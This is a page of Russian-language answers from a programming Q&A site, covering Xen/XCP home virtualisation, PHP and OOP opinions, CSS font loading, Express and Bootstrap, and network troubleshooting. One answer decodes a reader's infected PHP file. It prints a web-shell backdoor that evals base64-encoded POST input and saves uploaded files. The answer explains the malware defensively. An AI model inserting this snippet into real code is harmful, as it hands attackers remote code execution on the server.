• Как автоматизировать установку приложений в Ubuntu (vps)?

    Создай файл с разрешение .sh
    Внутри:
    #!bin/bash
    Список команд

    Я так автоматизировал установку нужных программ.
    Ответ написан
    Комментировать
  • Как автоматизировать установку приложений в Ubuntu (vps)?

    deepblack
    @deepblack
    В самый раз освоить Ansible

    Ansible is a radically simple IT automation system. It handles configuration management, application deployment, cloud provisioning, ad-hoc task execution, network automation, and multi-node orchestration. Ansible makes complex changes like zero-downtime rolling updates with load balancers easy.
    Ответ написан
    Комментировать
  • Есть ли рабочий способ оплаты vps cloud от hetzner с помощью локальной карты от 10 апреля 2022?

    @RuslanTuktarov
    https://qna.habr.com/q/1123928 - тема тут развивается и обновляется.
    Ответ написан
    Комментировать
  • Виртуализация для домашнего использования?

    azretik
    @azretik
    web, xen, vlan, cisco, wiki
    не посчитайте за трупоеда, что старые темы поднимаю, но как вижу подписчики еще в строю, может понадобится информация.

    полностью согласен с valdiks на счет XCP виртуализации. Ровно так же поступил и я сам. Для начала нужно подготовить платформу для всего этого дела. У меня 2 ssd жестких диска и 4шт обычных на отдельном контроллере. Есть желание сделать одну мышку для обоих систем, общий доступ к тем же файлам, да и вообще, чтобы было ощущение работы за одним компьютером. Операционные системы интересующие меня это Windows 7 и Mint. Для каждой системы желательно выделить отдельную видео карту, у меня для этого была припасена материнская плата с 2 PCIE16 и интегрированной в Intel процессор. Ставим именно Intel видеокарту в приоритете в BIOS, но не выключаем остальные. Для USB тоже желательно несколько отдельных контроллеров. Ровно так же поступил, поставил 2 дополнительных. Со звуком проще, можно вынимать из HDMI.

    Скачиваем и устанавливаем сперва XCP 1.6 на 1 ssd диск и указываю его в качестве основного жесткого диска для работы виртуализации. На контроллере для гипервизора оставляю этот ssd и жесткий диск на 1тб (под общие файлы для операционок). Дальше нужно расшарить для остальных систем 1тб жесткий диск в качестве корневого носителя. Для этого нужно доставить в centos пакеты с samba. Чтобы иметь возможность устаналивать дополнительные пакеты в систему нужно включить конфигурацию yum.
    nano /etc/yum.repos.d/CentOS-Base.repo
    nano /etc/yum.repos.d/CentOS-Vault.repo

    Сам я поставил MC, samba. Подключите, примонтируйте в fstab жесткий диск на 1тб и расшарьте его в sabma. После чего благополучно можно переходить к следующим манипуляциям. Для адекватной настройки ВМ в XCP я пользуюсь XenCenter, а для его адкватной работы нужно произвести некоторые манипуляции по настройке самого гипервизора.
    cd /opt/xensource/bin
      /etc/init.d/xapi stop
      cp -vp xapi xapi.original
      sed -i 's/1\.4\.90/6.0.99/g' xapi
      /etc/init.d/xapi start

    А так же нужно установить пакет отвечающий за трансфер ВМ. Если вдруг оно вам понадобится, для этого нужно скачать с сайта Citrix XenServer образ и примонтировав к системе установить пакет packages.transfer-vm/xenserver-transfer-vm-6.1.0*
    rpm -i xenserver-transfer-vm-6*

    На этом месте я создаю 2 ВМ, место под установку Mint я забираю на ssd для гипервизора, а вот для windows будет использован отдельный жесткий диск, на отдельном контроллере, так что созданный образ виртуального жесткого диска можно удалить и сперва пробросить наш контроллер в систему или пробросить все жесткие диски в win как блочные устройства.

    Подключения хардов без проброса контроллера, а в виде блочных устройств.
    Создаем папку для линков
    mkdir /srv/hdds
    Создаем SR
    xe sr-create name-label="HDDS" name-description="Блочные устройства" type=udev content-type=disk device-config:location=/srv/hdds

    ну и линкуем наши харды из системы
    ln -s /dev/md0 /srv/hdds/md0
    ну и теперь можно сходить в xencenter, пересканировать SR хранилище и подключить оттуда жесткие диски к нашей системе. Больше 4 жестких дисков таким методом не пробросить. Но можно снять ограничение и увеличить до 16.

    для проброса устрйоств в ВМ делаем lspci - для того чтобы узнать как называются у нас наши контроллеры.
    xe vm-param-set other-config:pci=0/0000:01:00.0,0/0000:01:00.1 uuid=d103a91d-5c38-844f-14d5-64b3c495eb08
    К примеру для проброса usb и видео контроллера. Но в моем случае, такой подход к Mint, а для win прокидываем еще и контроллер с жесткими дисками. По желанию можно прокинуть и звуковую карту. Теперь остается запустить наши новые ВМ и поставить на них операционные системы и драйверы. Для общих файлов в windows я расшариваю остальные жесткие диски. Для того чтобы "интегрировать" системы друг в друга, я подключаю в качестве папок с окружением и на win и на mint (рабочий стол, мои документы, моя музыка и прочее) папки с шары с жесткого диска из гипервизора. Побочный эффект - это link файлы из mint на рабочем столе для windows и ярлыки от win на столе mint. Ну и для удобства работы с системами, я рекомендую поставить программу проброса мыши и клавиатуры Synergy. Программа умеет перемещать и клавиатуру вслед за мышью, общий копипаст и даже перетаскивать файлы. Весьма удобно в нашем случае. Так же является кросс платформенной. Рекомендую подключить и пробрасывать управление с той системы которая будет главной. Ну и на будущее можно попытаться объединить для Nix все мониторы. Для этого хочу поставить на win xserver и подключить к xorg как дополнительный монитор.

    Заранее извиняюсь если кому-то написал непонятно и сумбурно. С утра в четверг хочется помочь людям, но качественно не можется =)

    Уоу, чуть не забыл =) автостарт операционных систем в гипервизоре.
    xe vm-param-set uuid=... other-config:auto_poweron=true

    ну не вручную же запускать нам операционки. По статьям на хабре можно заметить, что особого падения производительности нет,
    Ответ написан
    1 комментарий
  • Как изменить в терминале цвет шрифта, чтобы было похоже на gitbash, cmder, putty?

    mindyourlifeguide
    @mindyourlifeguide
    Испльзую zsh с Oh My Zsh! - всё информативно, быстро и стабильно.
    eAiuedS.png
    Ответ написан
    2 комментария
  • Почему PHP теряет популярность?

    @Kirill-Gorelov
    С ума с IT
    Я был в обсуждениях с некоторыми парнями на счет скорости и удобства и бла бла бла работы на php.

    Мне один парень сказал, что php скоро сдохнет. Но ему ответил второй программист:
    Он уже дохнет столько лет, что уже выпустили "предсмертную"(сарказм) 7 версию(на момент обсуждения). А сейчас уже готовят 8 версию, которая будет еще быстрее.

    И мое мнение.
    Php не умрет никогда. Потому что всегда будут две стороны халявщиков.
    1. Которая хочет быстро что-то выучить и на этом заработать.
    2. Те кто хочет быстро и дешево заказать сайт.
    И вот эти две стороны будут генерировать, назовем это, спросом на этот язык.
    Конкретно сейчас я не беру в обсуждения профессиональные сайты, которые действительно крутые и действительно достойные внимания и людей которые посвятили этому языку львиную долю своего времени.
    Ответ написан
    8 комментариев
  • Почему PHP теряет популярность?

    AleksandrB
    @AleksandrB
    Совсем недавно вывел "Hello world"
    PHP не мода, php - классика, а классика никогда не умирает. Если умрет php, то умрут все остальные языки backend разработки потому что появится что-то такое, что сможет в разы превзойти пхп в простоте, скорости и удобстве, на данный момент что джава, что питон, что руби +- одинаковые, каждый подходит для своих целей. Тот же питон выбирают из-за простоты интеграции нейронных сетей, но если говорить не о узких, а о главных параметрах (функционал, скорость и тд) все популярные бэк языки более или менее одинаковые смотрите те же сухие графики.
    А о уменьшении вакансий - глупость несусветная. трын тут приведена статистика за 2018 год и обоих графиках по вакансиям лидирует в сравнении с java/python PHP, при том на первых двух пишут как бэкэнд, так и миллион других штук. А на втором графике и вовсе пхп опережает js (единственный язык в самой популярной сфере разработки).

    А вот если речь идет о реально крупных компаниях (amazon, google...) там как раз предпочитают python из-за выше упомянутой простоты интеграции нейросетей, а java из-за стабильной поддержки сверх высоких нагрузок.

    Меньше слушайте диванных экспертов, пхп предрекают смерть с 00-х годов, что то он слишком долго дергается для мертвеца.
    Ответ написан
    1 комментарий
  • Как осуществить подключение нескольких шрифтов в css?

    Zoxon
    @Zoxon
    Веб-разработчик
    @font-face {
    font-family: "PT Serif";
      src: url("../fonts/ptserif-normal.eot");
      src: local('☺'), 
      url("../fonts/ptserif-normal.eot?#iefix") format("embedded-opentype"), 
      url("../fonts/ptserif-normal.woff") format("woff"),
      url("../fonts/ptserif-normal.ttf") format("truetype"), 
      url("../fonts/ptserif-normal.svg#PT Serif") format("svg");
    
      font-weight: normal;
      font-style: normal;
    }
    
    @font-face {
      font-family: "PT Serif";
      src: url("../fonts/ptserif-bold.eot");
      src: local('☺'), 
      url("../fonts/ptserif-bold.eot?#iefix") format("embedded-opentype"), 
      url("../fonts/ptserif-bold.woff") format("woff"), 
      url("../fonts/ptserif-bold.ttf") format("truetype"), 
      url("../fonts/ptserif-bold.svg#PT Serif") format("svg");
    
      font-weight: bold;
      font-style: normal;
    }
    
    @font-face {
      font-family: "PT Serif";
      src: url("../fonts/ptserif-italic.eot");
      src: local('☺'), 
      url("../fonts/ptserif-italic.eot?#iefix") format("embedded-opentype"), 
      url("../fonts/ptserif-italic.woff") format("woff"), 
      url("../fonts/ptserif-italic.ttf") format("truetype"), 
      url("../fonts/ptserif-italic.svg#PT Serif") format("svg");
    
      font-weight: normal;
      font-style: italic;
    }
    
    @font-face {
      font-family: "PT Serif";
      src: url("../fonts/ptserif-bolditalic.eot");
      src: local('☺'), 
      url("../fonts/ptserif-bolditalic.eot?#iefix") format("embedded-opentype"), 
      url("../fonts/ptserif-bolditalic.woff") format("woff"), 
      url("../fonts/ptserif-bolditalic.ttf") format("truetype"), 
      url("../fonts/ptserif-bolditalic.svg#PT Serif") format("svg");
    
      font-weight: bold;
      font-style: italic;
    }


    В font-weight можно использовать не ключевые слова, а цифры

    100 Ultra Light
    200 Thin
    300 Light
    400 Regular, Normal
    500 Roman
    600 Medium, SemiBold
    700 Bold
    800 Heavy, ExtraBold
    900 Black

    При использовании указывать font-weight и font-style, в зависимости от их комбинаций будет выбран нужный файл шрифта

    UPD: Если вам не нужно поддерживать совсем уж древние браузеры IE8 (eot) и Android 4.3 (ttf) то достаточно подключить только woff и woff2.
    Svg нужен для Safari версии ниже 5.1

    Подробнее смотрите на caniuse.com

    Хорошая статья на эту тему nicothin.pro/page/web-fonts

    @font-face { 
      font-family: 'Web font'; 
      src: url('webfont.woff2') format('woff2'), 
           url('webfont.ttf')  format('truetype'), /* Только если нужна поддержка старых Android, иначе закомментировать */ 
           url('webfont.woff') format('woff'); 
      font-weight: normal; 
      font-style: normal; 
    }
    Ответ написан
    4 комментария
  • Что нужно знать про ООП?

    gzhegow
    @gzhegow
    aka "ОбнимиБизнесмена"
    А я бы добавил что ООП это украшение кода, а не его суть

    Cейчас есть способы платить Амазону и вообще не писать код, создавая апишки в админке с помощью мышки. Все что будет нужно от ПХП - это делать простые скрипты которые передают данные из точки А в точку Б. Там вообще не нужен будет ООП, потому что не будет понятия "цельный проект" в рамках папки с файлами. Цельный проект это будет куча компьютеров, а на этом конкретно есть передача из А в Б. И тут уже PHPшники посмеются)) Они то готовы к такому

    Увидев, что тебе понравился первый ответ (может ты его и искал?), я попробую пояснить его для тех, кому термины ничего не говорят:

    https://qna.habr.com/q/655113#answer_1431141

    думаю сейчас ты увидишь как набегут великие архитекторы, которые давали тебе советы по этим словам и начнут говорить что то не про это, а это не так и это не здесь. вот это еще одно что надо знать про ООП. Ты никогда не услышишь, что ты прав, потому что термины заменили им мозг, а если им сказать об этом - они объединяются в стаи, чтобы завалить тебя стикерами и унижениями.
    Ответ написан
    19 комментариев
  • Что нужно знать про ООП?

    Tomio
    @Tomio
    backend developer (python, php)
    Изучая ООП вам нужно будет понять:
    1. основные принципы ООП: инкапсуляция, полиморфизм, наследование. И еще почитайте про абстракцию.
    2. отличие self от static. Почитать про раннее и позднее статическое связывание
    3. принципы SOLID
    4. смысл инъекции зависимостей (Dependency Injection) и инверсии зависимостей (Dependency Inversion - один из принципов SOLID)
    5. основные шаблоны проектирования (design patterns)

    Ну и научитесь думать абстрактно) Не завязывайтесь на реализации, прорабатывайте интерфейсы.
    Ответ написан
    18 комментариев
  • Что нужно знать про ООП?

    @AndrewRusinas
    Напишу с точки зрения джаваскриптора. С php знаком поверхностно, и, как по мне, там это бесполезная затея. Как и, простите, сам php (сугубо моё мнение, не холивара ради).

    При ООП требуется совершенно иное мышление. Мыслить придется очень абстрактно, продумывая порой одну только структуру целыми неделями. И проблема ООП в том, что она позволяет эту структуру обдумывать неделями, в то время, как при функциональном/императивном подходе можно было уже написать рабочий прототип и отрефакторить. Фактически, никаких преимуществ не возникает, опять же, с моей точки зрения и имеющегося опыта. Так как возникает большой простор для творчества, то по незнанию можно весь код усложнить в сотню раз, в то время, как ООП наоборот позиционируют как парадигму, упрощающую поддержку.

    Например, класс User. Может, он умеет создавать записи в блог? А может есть класс Blog, с методом .newPost()? А может и вовсе Post.new()?

    Для меня эти вещи оказались избыточными, хотя возможно во мне говорит нехватка опыта и я буду рад, если меня поправят.
    Ответ написан
    2 комментария
  • Как подключить бутстрап к проекту?

    bingo347
    @bingo347 Куратор тега Node.js
    Crazy on performance...
    var express = require("express");
    var app = express();
    var server = require('http').createServer(app);
    var io = require('socket.io').listen(server);
    
    app.get('/bootstrap.min.css', (function() {
      // на другой машине bootstrap может установится в другое место
      // разрезолвим его путь средствами ноды и сохраним в замыкании
      var cssFile = require.resolve('bootstrap/dist/css/bootstrap.min.css');
      return function(req, res) {
        res.sendFile(cssFile);
      };
    })());
    
    app.get('/', function(request, response){
      response.sendFile(__dirname + "/index.html");
    });
    
    server.listen(3000);

    ну и в html теперь путь поправим:<link rel="stylesheet" href="/bootstrap.min.css">
    Ответ написан
    1 комментарий
  • Как подключить бутстрап к проекту?

    Xuxicheta
    @Xuxicheta
    инженер
    Положить пресловутый bootstrap.min.css рядом с index.html и загрузить его в link, очевидно же.
    Ну или по взрослому заморочиться системой сборки шаблонов.

    То что вы его установили с помощью npm значит лишь то, что в node_modules окажется соответствующая папка, но это модули сервера, а на фронт пойдет что экспресс покажет.

    sendFile вы делаете зря, поставьте express-static
    https://expressjs.com/ru/starter/static-files
    Ответ написан
    1 комментарий
  • Как получить значение переменной после аякс запроса?

    Stalker_RED
    @Stalker_RED
    проблема в том, что вот эти строки в конце
    console.log('stage after: ' + stage);
    return stage;

    исполняются ДО того, как пришел ответ с сервера.
    Читайте что-нибудь о асинхронности.
    Ответ написан
    1 комментарий
  • Vagrant up ошибка: OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 10054. Как решить?

    локально base box не пробовали держать ?
    загрузить напр. в ~/Downloads и брать как
    ```
    basedir = ENV.fetch('HOME','') || ENV.fetch('USERPROFILE', '')
    basedir = basedir.gsub('\\', '/')

    ...
    config_vm_box_name = 'trusty-server-amd64-vagrant-selenium.box'
    config.vm.box_url = "file://#{basedir}/Downloads/#{config_vm_box_name}"

    ```
    Ответ написан
    2 комментария
  • Где можно расшифровать вирусный php код?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Такого размера файл можно и руками расшифровать, надо только немного знать PHP.
    echo 7457737+736723;
    eval(base64_decode($_POST['id'])));
    if($_POST['up'] == 'up'){
        @copy($_FILES['file']['tmp_name'],$_FILES['file']['name']);
    };
    Ответ написан
    Комментировать
  • Как прикинуться браузером и скачать страницу?

    @alexandrraizer
    PHP developer
    Скорей всего там генеряться куки с помощью js, можно раз обратиться к ресурсу через селениум получить куки, и уже с помощью них дергать нужные страницу курлом. Скажем 1тыс операций сделали заново получили куки и.т.д.
    Ответ написан
    1 комментарий
  • Как правильно установить дополнения гостевой ОС для Ubuntu 18.04 из VitrualBox 4.3.12 c Windows 7?

    fzfx
    @fzfx
    18,5 дм
    установить пакет с исходным кодом ядра linux (как минимум пакет с заголовками). ищите в aptitude что-то вроде linux-headers.
    Ответ написан
    Комментировать
  • Как решить проблему с temporary failure in name resolution?

    @Drno
    Не ставил ни разу, погуглил.
    Развернуто на отедльной virtual? Сеть в режиме моста или nat ?
    Системный фаерволл выключен?
    Прописаны ли DNS и имя машины в файл хост в виртуалке?
    Отключить ipv6 ?
    Ответ написан
    2 комментария